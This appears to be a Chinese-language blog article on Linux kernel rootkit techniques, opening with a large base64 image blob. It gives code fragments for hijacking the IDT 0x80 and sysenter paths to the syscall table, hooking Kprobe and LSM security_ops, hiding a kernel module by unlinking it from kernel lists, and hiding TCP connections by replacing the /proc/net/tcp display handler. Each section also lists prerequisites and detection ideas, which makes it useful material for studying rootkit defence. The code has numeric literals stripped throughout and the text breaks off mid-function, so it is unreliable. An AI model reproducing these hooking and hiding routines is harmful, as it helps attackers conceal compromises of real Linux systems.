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" alt="" width="1025" height="515" />
code
/*
1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48)); /*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移)
"中断描述符表(IDT)"中有很多项,每项8个字节,而第0x80项才是系统调用对应的中断
struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};
static struct
{
unsigned short limit;
unsigned long base;
}__attribute__ ((packed)) idt48;
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + *0x80);
system_call_addr = (pIdt80->offset_high << | pIdt80->offset_low); /*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址)
*/
for (i=; i<; i++)
{
if (p=='\xff' && p[i+]=='\x14' && p[i+]=='\x85')
{
sys_call_table = *(unsigned int*)(p+i+);
printk("addr of sys_call_table: %x\n", sys_call_table);
return ;
}
} /*
4. 将sys_call_table作为基址,根据系统调用号作为索引,获取指定的系统调用的函数地址指针,因为我们通过劫持80中断进而达到系统调用劫持的目的后,还需要将代码控制流重新导向原始的系统调用
*/
orig_read = sys_call_table[__NR_read];
orig_getdents64 = sys_call_table[__NR_getdents64];
..
replace
.. /*
5. 直接替换IDT中的某一项,也就是我们需要通过代码模拟原本"系统调用中断例程(IDT[0x80])"的代码逻辑
*/
void new_idt(void)
{
ASMIDType
(
"cmp %0, %%eax \n"
"jae syscallmala \n"
"jmp hook \n" "syscallmala: \n"
"jmp dire_exit \n" : : "i" (NR_syscalls)
);
}
..
void hook(void)
{
register int eax asm("eax"); switch(eax)
{
case __NR_getdents64:
CallHookedSyscall(Sys_getdents64);
break;
case __NR_read:
CallHookedSyscall(Sys_read);
break;
default:
JmPushRet(dire_call);
break;
}
//jmp to original syscall idt handler
JmPushRet( after_call );
}
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 不管是"系统调用表劫持",还是IDT 0x80中断劫持,最终rootkit都需要系统调用表的入口地址进行篡改(IDT 0x80中断劫持只是为了提高hook代码的易管理性、可扩展性),所以对"IDT 0x80中断劫持"的防御和"系统调用表劫持"
的防御策略是一样的
. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
) KJ_SYSCALL_TABLE_SYM
) KJ_MODULE_KSET_SYM
) KJ_CORE_KERN_TEXT_SYM
. 使用汇编级检查技术,检测IDT[0x80]的地址是否遭到了篡改,即和标准的中断例程的入口的汇编指令不同
标准的IDT 0x80例程入口如下
\linux-2.6.32.63\arch\x86\kernel\entry_32.S
ENTRY(system_call)
RING0_INT_FRAME
ASM_CLAC
pushl_cfi %eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(NR_syscalls), %eax
jae syscall_badsys //0x0f 0x83
syscall_call:
call *sys_call_table(,%eax,) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
movl %eax,PT_EAX(%esp) # store the return value 被rootkit劫持了IDT之后改变如下 cmpl $(NR_syscalls), %eax
jae syscall_badsys //0x0f 0x83
被替换为:
pushl addr_of_new_idt => 0x68 ((void *) new_idt)
ret => 0xc3
Relevant Link:
http://blog.aliyun.com/948
http://blog.csdn.net/zhl1224/article/details/5847381
http://www.hacker.com.cn/uploadfile/2014/0228/20140228103318644.pdf
0x3: Int 0x80 Interrupt Handler Hook Hijack Based On Fast System Call - sysenter(Intel)
除了借助IDT寄存器通过内联汇编指令获取到80中断(系统调用对应的中断)这个方法之外,Intel CPU还支持Fast System Call - sysenter的方式获取系统调用例程的入口地址(根据系统调用号进行具体系统调用派发的例程)
code
/*
1. check if SEP is supported in current system
可以通过: cat /proc/cpuinfo | grep sep来判断当前系统是否支持SEP
if supported, get sysenter address via: "rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);"
*/
if (boot_cpu_has(X86_FEATURE_SEP))
{
rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);
} /*
2. 如果当前系统不支持SEP,则直接通过原始的方法去搜索/proc/kallsyms(内核符号导出表)
search in /proc/kallsyms for fast system call mark "sysenter_entry" or " syscall_call"
*/
else
{
sysenter = read_kallsyms();
} /*
3. 通过sysenter劫持IDT中"系统调用中断例程的入口地址"
*/
标准的IDT 0x80例程入口如下
\linux-2.6.32.63\arch\x86\kernel\entry_32.S
ENTRY(system_call)
RING0_INT_FRAME
ASM_CLAC
pushl_cfi %eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(NR_syscalls), %eax
jae syscall_badsys //0x0f 0x83
syscall_call:
call *sys_call_table(,%eax,) //0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>
movl %eax,PT_EAX(%esp) # store the return value 被rootkit劫持了IDT之后改变如下 cmpl $(NR_syscalls), %eax
jae syscall_badsys //0x0f 0x83
被替换为:
pushl addr_of_new_idt => 0x68 ((void *) new_idt)
ret => 0xc3 /*
4. 当执行完我们的hook_idt_handler之后,程序流会返回执行原始的syscall汇编代码
*/
syscall_call:
call *sys_call_table(,%eax,)
movl %eax,PT_EAX(%esp) # store the return value
攻击前提
. 当前系统支持SEP、或者在编译内核的时候开启了kallsyms开关
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
和"Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register"的防御策略相同
0x4: Kprobe Callback Function Register Hooking
使用linux系统提供的原生系统调用执行回调机制: Kprobe技术进行系统调用的Hooking,Kprobe机制可以使rootkit有能力在系统调用执行的前、后进行串行式的检测和过滤(Kprobe拿到的数据结构就是原始的内核拿到的参数指针)
关于Kprobe的相关原理请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3854977.html
(搜索: 利用Linux内核机制kprobe机制(kprobes, jprobe和kretprobe)进行系统调用Hook)
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. Kprobe是linux提供的原生的监控机制,但是目前并没有提供检测Kprobe_register挂钩情况的API,本来Kprobe诞生的时候就是为了监控的目的,并没有设计用来rootkit、rootkit检测等目的
. 检测当前系统是否处于Kprobe监控状态只能采取别的hacking的方法: 通过枚举kprobe的全局HASH链表,检查是否有白名单之外的系统调用监控(因为系统管理员自己可能也使用kprobe进行系统监控)
Relevant Link:
http://blog.chinaunix.net/uid-22227409-id-3420260.html
0x5: Linux LSM(linux security module) Function Register Hooking
LSM Selinux是linux提供的原生的程序流串行决策检查机制,程序员通过对指定的系统调用数据结构注册回调函数,能够在系统调用的执行流程上进行安全访问控制
code
//设置security_operations结构体,指明需要注册的LSM钩子函数
static struct security_operations test_security_ops =
{
.name = "test",
.file_permission = test_file_permission,
};
//注册LSM钩子函数
register_security(&test_security_ops)
攻击前提
. 当前linux服务端在编译内核时开启了SELINUX开关
. 当前linux服务器配置信息中开启了SELINUX选项:修改/etc/selinux/config文件中的SELINUX=""为enabled ,然后重启
. 黑客已经获取了root帐号的权限
. 黑客能够重新编译内核并重启机器
防御策略
未知(待研究)
0x6: Linux LSM(linux security module) Function Adress Hijaking
LSM模块在所有验证函数中都调用了security_ops的函数指针,这样,security_ops被定义为一个全局变量的话,rootkit很容易就可以将security_ops变量导出,然后替换为自己的fake函数,LSM框架很容易就被摧毁掉,从而达到函数指针hook劫持的目的
code
extern struct security_operations *security_ops;
struct security_operations *fake_security_ops; int fake_file_mmap(struct file *file, unsigned long reqprot, unsigned long prot, unsigned long flags)
{
printk("in fake_file_mmap.\n");
return ;
} fake_security_ops = security_ops;
fake_security_ops->file_mmap = fake_file_mmap;
security_ops = fake_security_ops; security_ops->file_mmap(NULL, , , );
攻击前提
. 当前linux服务端在编译内核时开启了SELINUX开关
. 当前linux服务器配置信息中开启了SELINUX选项:修改/etc/selinux/config文件中的SELINUX=""为enabled ,然后重启
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
未知(待研究)
3. LKM Module Hidden
枚举LKM模块的方法有
. VFS方法: cat /proc/module: 直接读取/proc/module下的项
. ring3方法: lsmod: 本质还是在读取/proc/module,做了一个代码封装,提供给用户一个良好的接口和界面
. LKM方法: 直接通过kernel module枚举struct module->list
. LKM方法: 直接通过kernel module枚举struct module->mkobj->kobj->entry
. lKM方法: 直接通过kernel module枚举module->mkobj->kobj->kset
0x1: Module Hidden Based On list_del Kernel Double-Way List"struct module->list" Item && kobject_del module_kobject "struct module->mkobj->kobj->entry" Item
这属于基于linux kernel object断链隐藏的思想(windows下也有类似的方法),linux将系统核心的调度、LKM信息都放在了内核中的某段内存区域中,而对于进程、LKM模块这类信息在内核中都是通过一个双向循环链表进行保存的
关于内核中LKM链表的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3865490.html
(搜索: struct module)
code
/*
1. 在模块加载的入口的位置,就进行"断链"操作
1) 将当前模块的module直接从内核LKM双链表: list中删除
2) 将当前模块的kobject直接从kernel module kobject双链表: mkobj.kobj.entry中删除
*/
int wnps_init(void)
{
struct module *m = &__this_module;
struct proc_dir_entry *my_dir_entry = proc_net->subdir; if (m->init == wnps_init)
{
list_del(&m->list);
kobject_del(m->mkobj.kobj);
list_del(m->mkobj.kobj.entry);
}
..
}
module_init(wnps_init);
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. lKM方法: 直接通过kernel module枚举module->mkobj->kobj->kset
4. Network Communication Hidden
0x1: Network Communication Hidden Based On /proc/net/tcp/ Operation Handler Hooking(VFS Hook)
code
/*
1. 获取/proc/net/tcp这个目录的"显示函数"的句柄
*/
/*
2. 劫持/proc/net/tcp的"显示函数"的函数
*/
struct tcp_seq_afinfo *my_afinfo = NULL;
while (strcmp(my_dir_entry->name, "tcp"))
{
my_dir_entry = my_dir_entry->next;
}
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
//保留原始的/proc/net/tcp列表
old_tcp4_seq_show = my_afinfo->seq_show;
/*
将/proc/net/tcp替换为"hacked_tcp4_seq_show",这个函数会根据配置文件隐藏指定tcp连接记录
*/
my_afinfo->seq_show = hacked_tcp4_seq_show;
} /*
3. 在劫持函数中根据配置文件对指定的tcp连接进行过滤
本质上: cat /proc/net/tcp就是在调用/proc/net/tcp->seq_show这个函数)
*/
int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
{
int retval = old_tcp4_seq_show(seq, v);
char port[];
sprintf(port,"%04X",ntohs(myowner_port));
/*
